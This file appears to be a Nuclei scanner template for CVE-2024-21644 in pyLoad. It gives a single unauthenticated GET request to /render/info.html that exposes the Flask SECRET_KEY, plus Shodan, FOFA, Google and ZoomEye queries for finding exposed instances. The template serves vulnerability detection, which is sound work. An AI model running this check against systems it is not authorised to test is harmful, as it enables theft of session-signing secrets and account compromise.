id: CVE-2024-21644

info:
  name: pyLoad Flask Config - Access Control
  author: West-wise
  severity: high
  description: |
    pyLoad is the free and open-source Download Manager written in pure Python. Any unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable. This issue has been patched in version 0.5.0b3.dev77.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-mqpq-2p68-46fv
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21644
    - https://github.com/ltranquility/CVE-2024-21644-Poc
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-21644
    cwe-id: CWE-284
    epss-score: 0.14751
    epss-percentile: 0.95779
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pyload
    product: pyload
    shodan-query:
      - html:"pyload"
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query:
      - app:"pyLoad"
      - app:"pyload"
  tags: cve,cve2024,python,pip,pyload,access-control

http:
  - method: GET
    path:
      - "{{BaseURL}}/render/info.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "&#39;SECRET_KEY&#39;:"
          - "&#39;pyload_session&#39;"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022072c8cf54d7db3323b99ce89bf00c62024295da17df9b09e8d91cdd220140056c02210086dd818970f4b4817f0b770f1baf94bb28f4557656d189dfcaf0fadfd4e59e22:922c64590222798bb761d5b6d8e72950